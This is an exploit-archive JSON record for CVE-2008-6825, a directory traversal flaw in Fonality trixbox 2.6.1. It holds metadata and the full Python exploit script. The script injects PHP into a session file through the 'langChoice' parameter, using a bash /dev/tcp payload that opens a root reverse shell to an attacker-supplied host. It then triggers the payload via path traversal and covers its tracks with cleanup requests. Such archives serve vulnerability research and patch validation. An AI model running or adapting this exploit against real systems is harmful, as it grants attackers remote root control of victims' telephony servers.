{"exploit":{"id":"EDB-6045","name":"Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution (RCE)","description":"Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution (RCE)","cves":["CVE-2008-6825"],"author":"muts","published":"2008-07-12","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6045","path":"exploits/linux/remote/6045.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6045.py","vulnerabilities":[{"id":"CVE-2008-6825","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in user/index.php in Fonality trixbox CE 2.6.1 and earlier allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the langChoice parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6825","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6825"},"updatedAt":"2024-08-07T11:42:00.576Z","retrievedAt":"2026-11-27T00:10:46.599Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6045.png?v=2","url":"https://exploitbin.com/exploits/EDB-6045","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6045/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6045/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# TrixBox 2.6.1 langChoice remote root exploit\n# muts from offensive-security.com\n# All credits to Jean-Michel BESNARD <jmbesnard@gmail.com>\n# Same same, but different.\n# http://www.offensive-security.com/0day/trixbox.py.txt\n##################################################################################################\n# id\n# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)\n# uname -a\n# Linux trixbox1.localdomain 2.6.25.7 #4 SMP Tue Jun 17 19:35:11 EDT 2008 i686 i686 i386 GNU/Linux\n##################################################################################################\n\nimport sys\nfrom socket import *\nimport re\nimport os\nfrom time import sleep\n\nprint (\"[*] BY THE POWER OF GRAYSKULL - I HAVE THE ROOTZ0R!\\r\\n\"\n\"[*] TrixBox 2.6.1 langChoice remote root exploit \\r\\n\"\n\"[*] http://www.offensive-security.com/0day/trixbox.py.txt\\r\\n\")\n\nif (len(sys.argv)!=5):\n\tprint \"[*] Usage: %s <rhost> <rport> <lhost> <lport>\" % sys.argv[0]\n\texit(0)\n\nhost=sys.argv[1]\nport=int(sys.argv[2])\nlhost=sys.argv[3]\nlport=int(sys.argv[4])\n\n\ndef create_post(injection):\n        buffer=(\"POST /user/index.php HTTP/1.1 \\r\\n\"\n        \"Host: 192.168.219.132 \\r\\n\"\n        \"Content-Type: application/x-www-form-urlencoded \\r\\n\"\n        \"Content-Length: \"+str(len(injection))+\"\\r\\n\\r\\n\" +injection)\n        return buffer\n\ndef send_post(host,port,input):\n\ts = socket(AF_INET, SOCK_STREAM)\n\ts.connect((host, port))\n\ts.send(input)\n\toutput=s.recv(1024)\n\ts.close()\n\treturn output\n\ndef find_sessionid(http_output):\n\theaders=re.split(\"\\n\",http_output)\n\tfor header in headers:\n\t        if re.search(\"Set-Cookie\",header):\n           \t    \tcook=header.split(\" \")\n\t\t\tsessionid=cook[1][10:42]\n\t                print \"[*] Session ID is %s\" % sessionid\n\t\t\treturn sessionid\n\n\nprint \"[*] Injecting reverse shell into session file\"\nbash_inject=\"langChoice=<?php shell_exec(\\\"sudo /bin/bash 0</dev/tcp/\"+lhost+\"/\"+str(lport)+\" 1>%260 2>%260\\\");?>\"\nreverse=create_post(bash_inject)\nraw_session=send_post(host,port,reverse)\n\nprint \"[*] Extracting Session ID\"\nid=find_sessionid(raw_session)\n\nprint \"[*] Triggering Reverse Shell to %s %d in 3 seconds\" % (lhost,lport)\nsleep(3)\nprint \"[*] Skadush! \\r\\n[*] Ctrl+C to exit reverse shell.\"\ntmpsession=create_post('langChoice=../../../../../../../../../../tmp/sess_'+id+'%00')\nsend_post(host,port,tmpsession)\n\nprint \"[*] Cleaning up\"\ncleanup=create_post('langChoice=english')\nsend_post(host,port,cleanup)\nsend_post(host,port,cleanup)\nprint \"[*] Done!\"\n\n# milw0rm.com [2008-07-12]","sha256":"71689473a0e9b3bc4b7742ed14cfd10be7105d9878419ea4c214d046a5422ced","bytes":2548,"fetchedAt":"2026-11-27T00:10:42.879Z","encoding":"utf-8 (display only; download retains original bytes)"}